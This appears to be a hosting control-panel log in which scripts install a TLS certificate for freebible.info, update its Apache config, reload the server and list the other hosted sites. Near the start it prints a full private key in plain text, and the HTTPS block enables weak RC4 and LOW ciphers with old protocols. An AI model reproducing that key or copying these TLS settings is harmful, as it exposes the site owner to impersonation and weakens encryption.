TARGET=25d244ad83fcb448bd222b7039653b35.crt

cat > $temp_file <<'endmsg'
e8:44:97:ca:4d:4e:37:54:bc:7f:e4:03:83:7a:d0:c1

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBb5azfpIwkUxSmcPvvqU+QqKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzIyMTYwNjI1WhcNMjYxMDIwMTYwNjI0WjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKhCQcmYYC8Sfl2D0qoJckXdWOQaAyoJIlpSPzavoHxd8A2C8wZsN7eGCkTfp/ac
NIYLU4M7t5OEaDGezQwAXJxGKNlE9o/jygrWtFGDgO954CqnRiZ4YCR8fC65STrL
SOXceKqIIwVib0rcNuUFlfRmGJTmwg9ZxuIdDx9FoIBb1eswAQySyjNT040y8SFb
rcjrj3mh06CTqHsw7g07NyiXz+KPWksUrb88vaRZsYVlLHx4C84UKMm8RNm8nfjw
VOShCpDqW7xNFtRQxdsmpoRsUK4uxvARlUJydVb1WhWy/K17gpwVKQlndpWlfeQB
M1+iyBTkY7ulK61fCePQ4l8CAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBR0Erhi
FnbIU+GPaPdpYg1Pj40oRzAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmZyZWViaWJsZS5pbmZvghJ3d3cuZnJlZWJpYmxl
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMi5jLmxlbmNyLm9yZy8xMS5jcmwwggEKBgorBgEEAdZ5AgQCBIH7BIH4
APYAdQDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ+KyZpcAAAE
AwBGMEQCIDo7oZNPfZBtTMFybZJyRNEywyV6Rr8IeBpWXRJG8YxdAiBwZ8PfSn34
W95yCCMa1f8OuNfNxkrguYDnmxNqp/gesgB9AKgmy+MKxjUSRlM/4GXxTxnZbhkI
E8Qd2W15ALMSPFUnAAABn4rJm98ACAAABQAViaL2BAMARjBEAiBD7wxwXtBCiCVi
9lxz+0kde/nNzeBi+Cx3dpuek4UP6QIgGgVqaHsrx42urV6aS4rdwvG+D/9HmNvb
d9NcPHtjRVAwDQYJKoZIhvcNAQELBQADggEBAEtOPIBUBnbrZmzhwTmshfSbj12L
09con5ndwV56o0/fuVF0feENpwzmsFn3iD/ypvSMsh2xcXeq2zK3my7MtuLM7wQi
fAJN+cbmQdHwiqIYoRtKuIhcd890lkqBAQzNAzZYMr6g9gXSUovcE/1l8fS3ncsT
7gdV838E2q+XWv40WbU1OpBqOX6MPfJFoIGqrUk3Y1IKT/mJO4tt+jNiHq/h5ksQ
MwUFait1D/DnlFT2jhzBnUBI9oRwp61C/DKGeBAedGEQpCcsRle/XKGQURm+CaVj
F6CwXJrSao1zVRuY+Viop/MdzG6YSpdUmsjs1vqEQT53+0S8C9ny0YUAYbk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCoQkHJmGAvEn5d
g9KqCXJF3VjkGgMqCSJaUj82r6B8XfANgvMGbDe3hgpE36f2nDSGC1ODO7eThGgx
ns0MAFycRijZRPaP48oK1rRRg4DveeAqp0YmeGAkfHwuuUk6y0jl3HiqiCMFYm9K
3DblBZX0ZhiU5sIPWcbiHQ8fRaCAW9XrMAEMksozU9ONMvEhW63I6495odOgk6h7
MO4NOzcol8/ij1pLFK2/PL2kWbGFZSx8eAvOFCjJvETZvJ348FTkoQqQ6lu8TRbU
UMXbJqaEbFCuLsbwEZVCcnVW9VoVsvyte4KcFSkJZ3aVpX3kATNfosgU5GO7pSut
Xwnj0OJfAgMBAAECggEAQw6892JCGyCMuipaYCgJoex4i9gOIMepKEQVK29NT6OE
k233+zxP7FWAbDiS0Ucp665B51B6dlFT0UrPv5O5VRLlHspMVcZb9HvjO4Vkcoyp
GXa3D4f0ETaHq3tuwv7Xm7yFXrmI85Fqd3RScG4MeG3kKBvbhZCrIdyg9T6jm+PX
1RSnyw6jEZoReAnPAQwAhKHpJivpHy+OHxLnIaURutB4lkKQdw1UNhk2t1pjdov5
mW5xxN4wdCKTSoqm1IpVzsy2iu/vmrF3hvmdoIvZ7VjR8ecN8s7yy1zffFgKkV7a
FYpAcS/PMgg8JuNSwgkO/8FUowLyDJJKSuBwyGCR4QKBgQDh2jJnKdC3f4faUnjz
eISyYTPH31iA7nvaPAIxXTaLFI/yxF2+IC58td5Ia8zHMN5tQezaGztv28N/EL51
gCFRkVGLbAEdL8fr6LDr5mE00ABdMoiFoZz9++0ccK2gYLpUrWR2sWsrQk5c4sCe
irW7DXcGDyzlsP6dPxrd7igpTwKBgQC+t/r0vJ32vye2hU/Im0ZUOmH4tNPmkR1j
rlQ5mYW2XGbJDCrwI5blgO5IraK8HiJ6cvMiiG/Q4/vlIOazMA/TVkPyh0gxp28Q
RrJXLQaoRsRsrcDviR4AGOYs/NPqCHbkeHJWApiorLVwY9oLpasUz22g6QNLgsgg
i/oEuhBR8QKBgQCiV7lLNl90xxLb99RBDiw0HHKgBQcVBle4ctIQsbP3HPyrwEKx
22gO9Jum6vXzaEk5t92MmW6L5SgNOfftdgB9JTu8QBI87I+EH2qs5piQ4cKhOyWv
CJBUcLXrb4MeeOj23PwN5VHncm3pjoRucb5XikI39MiNAkDCvw2M4Re1OQKBgAtY
sMJ8sj0q1DcEqWF6820xaAC+6VhvS7tRdMtUeeMGjkrpwWg2BdUznXmPcv4UIOL+
Eb79NQHNfn/8PB1u/5IIMNSt/bqOhooGWrfbAuliBG+eyrq1gqZo1NDaXdUvmbsv
+0VotCJc3BKKrj9BJPOA/7myAzMr3bIqAb7kPvJRAoGAK21mawERclLMr4XRX9J4
NxBOCFDvO8UADc9o5LAOfJjz8zHoCfKAD+dKA45dGSzAdbiGsfXpXxpVkl2fM/53
5j/pw7Wgmx87nivHGh4S8X/WvWujqDqbpaVqMNJYH55vMAZ29r4sUJbhQJ1Ni/1o
zfK535Pwqkhjove+nZRZCUI=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-22 17:04:57: 

chmod 755 /tmp/pkp454093; /tmp/pkp454093; rm /tmp/pkp454093

2026-07-22 17:04:57: 


dir=/etc/ssl/certs


2026-07-22 17:04:57: 

PUT: /tmp/pkp922356

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/freebible_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-22 17:04:57: 

chmod 755 /tmp/pkp922356; /tmp/pkp922356; rm /tmp/pkp922356

2026-07-22 17:04:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf 42

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-22 17:04:57: 

PUT: /tmp/pkp583636

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=freebible_www_info.conf
TARGET=/etc/apache2/sites-enabled/freebible_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/freebible_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf= 1'
fi


2026-07-22 17:04:57: 

chmod 755 /tmp/pkp583636; /tmp/pkp583636; rm /tmp/pkp583636

2026-07-22 17:04:57: 




2026-07-22 17:04:57: 

PUT: /tmp/pkp807838

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-22 17:04:57: 

chmod 755 /tmp/pkp807838; /tmp/pkp807838; rm /tmp/pkp807838

2026-07-22 17:04:57: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-22 17:04:57: Establishing a connection
2026-07-22 17:04:57: 

PUT: /tmp/pkp743175

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-22 17:04:57: 

chmod 755 /tmp/pkp743175; /tmp/pkp743175; rm /tmp/pkp743175

2026-07-22 17:04:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-22 17:04:57: 

PUT: /tmp/pkp898667

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/freebible_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-22 17:04:57: 

chmod 755 /tmp/pkp898667; /tmp/pkp898667; rm /tmp/pkp898667

2026-07-22 17:04:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf	1381

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
